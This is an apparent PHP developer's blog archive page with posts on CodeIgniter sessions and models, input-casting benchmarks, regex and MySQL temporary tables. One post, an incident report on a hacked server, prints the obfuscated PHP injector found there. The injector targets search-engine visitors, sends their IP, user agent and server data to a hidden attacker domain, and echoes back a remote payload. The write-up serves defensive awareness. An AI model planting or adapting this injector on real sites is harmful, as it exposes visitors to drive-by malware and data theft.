Chris Nizzardini, Salt Lake City Utah, Web Developer Specializing in LAMP+Ajax Since 2006

My Blog

Here is my awesome blog. You can find information on programming, linux, documentation, tips for code and database optimization, my thoughts and rants, and whatever else I feel like sharing. Feel free to contribute to the blog by posting comments and asking questions.

Posts Tagged ‘php’

Working Around CodeIgniters Default Session Library

Posted by chris on November 12th, 2011 Comments (4)

Recently I was attempting to test a web application using BrowserCam. BrowserCam has a bank of virtual machines on different versions of many platforms including Apple OSX, Linux Fedora, and Windows. While attempting to regression test in older versions of IE I noticed I absolutely could not log in to my application. This only occured on BrowserCam. After testing other CI based sites over BrowserCam I eventually narrowed it down to CodeIgniters session library. The session library that ships with CI does not use the native PHP session based files. It instead stores everything in an encrypted cookie. I think this is bad for two reasons: One, it goes against a PHP developers conventional wisdom of how sessions are handled and two, cookies have a storage limitation.

After poking around for some solutions I determined everything out there would cause me to have to change a lot of code. I needed a drop in replacement that would cause me minimal changes. I wrote the following library called Trusession. You simply drop it into your application/libraries folder and do some simple find and replaces. Trusession has most of the same method names, parameters, and return values as CodeIgniters native session library so your application should start working again out of the box except it will now be using PHPs file based sessions. There are a few of the public methods that I did not implement, calling these will result in an exception telling you that it has not been implemented and will give you a stack trace. These can easily be implemented by reverse engineering the CI Session library.
Read the rest of this entry »

In Programming (, , , , , , )

Inheritance in CodeIgniter: Adding More Functionality To Your Models

Posted by chris on October 28th, 2011 Comments(0)

I recently blogged on Reducing Code using CodeIgniters Active Record Class. In this blog I focus on easily collecting data from your object members using get_object_vars(). After using this for a while I found that unsetting certain members prior to an insert/update became rather annoying. I’ve been knee deep in Code Igniter for the past 6 months (and CakePHP at my new job) so I decided to take what I’ve learned and create me own parent model class.

Code Igniter allows you to create your own parent Controllers and Models. This is a great way of extending core functionality into child models via inheritance. The CodeIgniter documentation covers this in Creating Core System Classes so I won’t go into that process too much. Instead I’ll focus on what I’ve done and how it speeds up programming by:

  • Reducing boiler plate CRUD code.
  • Handling basic data validation.
  • Leveraging InnoDB to automatically join tables. (I’m saving this one for another blog)
Read the rest of this entry »
In Programming (, , , , )

Unscientific Benchmarking of Type Casting, is_numeric, and regex in PHP

Posted by chris on October 5th, 2011 Comments(0)

I performed some unscientific PHP benchmarks today pitting casting to an integer against is_numeric against preg_replace. The point was to see which is the fastest way of quickly cleaning user input before passing to a SQL query to prevent against SQL injection. Obviously this would only work on database fields that are integers. To be fair I should’ve benchmarked mysql_real_escape_string in the same way, but I’m sure its a loser in this test. The test is run in a for loop 100,000 times. None of the code being used here is very expensive to begin with — but here we go:

Casting to (INT)

0.017745018005371

Using is_numeric()

0.028823852539062

Using preg_replace()

0.087189197540283

        $start = microtime(true);
        /*for($i=0;$i<100000;$i++){
                $v = (INT) "$i";
        }*/
        /*for($i=0;$i<100000;$i++){
                is_numeric("$i");
        }*/
        for($i=0;$i<100000;$i++){
                preg_replace('/\D/','',"$i");
        }
        $end = microtime(true);
 
        echo "\nTime: ".($end-$start)."\n";
In Programming (, , , , , , , , )

Reducing Code using CodeIgniters Active Record Class

Posted by chris on September 3rd, 2011 Comments (2)

UPDATE Nov. 9, 2011: I have begun moving away from using this in my code. I am now using a core Model class that is extended by other models that takes care of stuff like this. Please read Inheritance in CodeIgniter: Adding More Functionality To Your Models for more information. While this is still an okay solution it becomes a bitch to remember to unset variables as your classes grow.

This is a quick blog post on some stuff I’ve discovered using CodeIgniters Active Record Class. I’ve found two ways to reduce the amount of code I’m writing.

Simplifying Inserts and Updates:

Since I am new to CodeIgniter I began writing my insert and update statements as follows:

$data = array(
    'tech_id' => $this->tech_id,
    'note_date' => date('Y-m-d'),
    'tech_note' => $this->tech_note,
    'year' => $this->year,
    'model_id' => $this->model_id,
    'is_global' => $this->is_global,
    'auto_glass_part_type_id' => NULL
);
$this->db->insert('tbl_something',$data);

I knew this was bad cause I was doing a bunch of CRUD code that was taking my time away from REAL programming. If you’re using good OOP design patterns you can simplify this:

$data = get_object_vars($this);
$this->db->insert('tbl_something',$data);

Anything that you don’t want included in the insert/update can simply be unset() from the $data array.

Make Query Methods a Swiss Army Knife

Another problem I had in my code I was using multiple methods in model that were doing database calls. These methods were all selecting the same data, they just had different WHERE parameters. So if you have the following code:

public function getAll(){
  $this->db->select('tbl_lead.*, disposition, auto_make.make as make, auto_model.model as model');
  $this->db->where('tbl_lead.shop_id',$this->session->userdata('shop_id'));
  return $this->db->get($this->table_name);
}

You can simplify it as follows:

public function getAll($dbObj=''){
  $this->db->select('tbl_lead.*, disposition, auto_make.make as make, auto_model.model as model');
  if(is_object($dbObj)){
      $this->db = $dbObj;
  }
  return $this->db->get($this->table_name);
}

Now we have a single method that returns everything you need, but gives you the option of passing custom WHERE parameters.

In Programming (, )

Evil Hackers from Outerspace

Posted by chris on August 23rd, 2011 Comments (4)

Been having fun since Friday dealing with a compromised server. Somehow an infiltrator loaded two files onto the server in question. One in an OS Commerce directory (very out of date installation) and the other into the root of a Word Press 2.9 install. The malicious code would then phone home to a recently registered domains named jsonapplet.com and bxubwsxj.co.tv. Presumably some sort of virus/trojan was installed on the end-users computer from this domain. Each of these domains just had the default Apache install screen when you went to the index page, but nested in other pages in the server was where the payload was.

Noticing that jsonapplet.com seemed a bit weird (the .TV had not been discovered at this point) we dug in finding that it had just been recently registered to a company in China known for this sort of thing. Whether the company is actually based in China is unknown, but it still served to raise suspicions further.

The PHP script was crafty in that it would only write the malicious javascript to the document if the user had come in from a search engine. This made finding the exploit hard since we were visiting the pages directly (no HTTP REFERRER was set). Furthermore most online scanners would not find the exploit. The only one that reported it was unmaskparasites.com, but even that scanner said it was NOT suspicious. Googles online scanner (even though Google Adwords originally notified the company) and McAffee Scan Alert did not find this exploit either.

Here is the script:

if(empty($_COOKIE["7c6dc"])&amp;&amp; @preg_match("#google|ask|yahoo|baidu|youtube|wiki|qq|go|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|crawler|mail|bing|dogpile|facebook|twitter|live|space|linkedin|flickr|peeplo#is",$_SERVER["HTTP_REFERER"])){@setcookie("7c6dc","1",time()+60*60*24*30,");
        echo '<script type="text/javascript">// <![CDATA[
  document.cookie="7c6dc="+escape("'.time().".".rand(1111111,9999999).'")+"; expires='.date("D, j M Y 00:00:00", time()+60*60*24*30)."; path=/\";
// ]]></script>";
$d=array("HTTP_ACCEPT_CHARSET","HTTP_ACCEPT_LANGUAGE","HTTP_REFERER","REMOTE_ADDR","REQUEST_URI","REQUEST_METHOD","SCRIPT_FILENAME");foreach($d as $v)$t[]=$_SERVER[$v];
$a=strrev('ed'.'oc'.'ne_46e'.''.'sab');$b=strrev('edo'.'ced'.'_46e'.''.'sab');$u=$b("aHR0cDovL2J4dWJ3c3hqLmNvLnR2L2I5MDk/aT0=").$_SERVER["REMOTE_ADDR"]."&amp;r=http:/.$_SERVER["HTTP_HOST"]."&amp;u=".$_SERVER["HTTP_USER_AGENT"]."&amp;d=".$a(serialize($t));@$fn=file_get_contents($u);
if(!$fn||strlen($fn)4){list($crc,$enc)=explode("::",$fn);if(md5($enc)==$crc)echo $b($enc);}}if(isset($_GET["7c6dc"]))echo "7c6dc";

Though somewhat obfuscated a simple grep of the server for document.cookie would have quickly found this. Unfortunately initial greps were looking for things like eval and document.write instead. There are few reports on what the payload actually does from Anubis and Sucuri.

Steps taken :

1. Disabled all SSH access and created new accounts.

2. Checked to see who else was logged into the server using the who command. If anyone had been found those accounts would have been killed.

3. Removed the exploited files.

4. Changed SSH account passwords again.

5. Patched affected and non-affected software throughout the system.

I also contacted leaseweb.com informing them about the account. Contacted unmaskparasites.com as a thanks and to hopefully give them some hints on improving their scanner. Finally at the urging of a fellow developer I wrote this blog to hopefully create some awareness about this exploit.

In Rant (, , , , )

My First Code Igniter Project (Part 2)

Posted by chris on March 16th, 2011 Comment(1)

This is a continuation of blog on My First Code Igniter Project.  In my first post on Code Igniter I learned how to: remove the ugly URLs, include CSS, JavaScript, and header/footer files, make and use helpers, and also use Active Record.  Since my last post I’ve been mostly spending time on non Code Igniter centric pieces of my project such as the database schema and the user interface.  I had originally decided NOT to use Ajax in this application, but after looking over the interface I decided it was needed to provide a rich user experience.  So lets cover Ajax.
Read the rest of this entry »

In Programming (, , , , , , )

My First Code Igniter Project

Posted by chris on March 9th, 2011 Comments (2)

Two things got me interested in using a PHP framework recently. One was this article by Matthew Inman covering how he built a complete site in 66 hours using CakePHP.  The other was stepping head first into a new company with a less than friendly code base with no standards.  If those two things can’t get you interested in a development framework (be it custom or community driven) then you can’t be saved.  Having previously tried CakePHP I was not interested in adhering to its strict set of standards.  After reviewing Code Igniter I was pleased that it didn’t have a strict rule set to follow beyond its implementation of MVC. Here is a review of my first project.

Read the rest of this entry »

In Programming (, , )

Fun With Regular Expressions

Posted by chris on March 4th, 2011 Comments (4)

Here are some regular expressions I’ve become very fond of.   Most of these examples are built for the PHP programming language, to make them compatible with other languages you will likely just need to remove the beginning forward slash and ending backslash.  For testing regular expressions I use the regex powertoy.

Read the rest of this entry »

In Programming (, , , , )

Calculating Sample Size in PHP

Posted by chris on December 13th, 2010 Comments(0)

How to return a sample size by population using PHP.

The formula is s = Z^2 * (p) * (1-p) / c^2 where , Z is the confidence level, and c is the confidence interval. Then:

ss = s / [1+(s-1 / pop)] where ss = sample size and pop = population size. Here is a simple PHP function I wrote the implements the formula.

function getSampleSize($pop){
	//$pop = 10000; // population
	$Z = 1.99; // confidence level
	$c = .03; // confidence interval
	$p = .5;
	$top = pow($Z,2)*($p)*(1-$p);
	$bot = pow($c,2);
	$ss = ($top/$bot);
	return round($ss/(1+($ss-1)/$pop));
}

I wrote this as a way to randomly sample a table  for errors.  We’ll see if it works.

Resources:

http://www.surveysystem.com/sscalc.htm

In Programming (, , , )

MySQL Temporary Tables Example – Optimizing PHP Applications

Posted by chris on November 24th, 2010 Comments (7)

Shortly after starting a new job as Web Application Developer with an e-commerce company I was tasked with rewriting a legacy application. After analyzing and flow charting the current application I found numerous performance penalties, bloated code, linear programming (non-OOP), and many other areas for optimization. Even after refactoring the code and removing these performance barriers the application was a bit sluggish. Though I had improved overall application execution time by 90% I still knew there was more I could do. This is where temporary tables came into play.

MySQL Temporary Tables have the same functionality as standard disk-based tables except they exist in memory. Since memory is not long term storage, they are temporary tables, hence the name. Operating in memory makes working with these tables fast, your only limit is the amount of memory/swap space available to you.

Read the rest of this entry »

In Programming, SQL (, , , , , )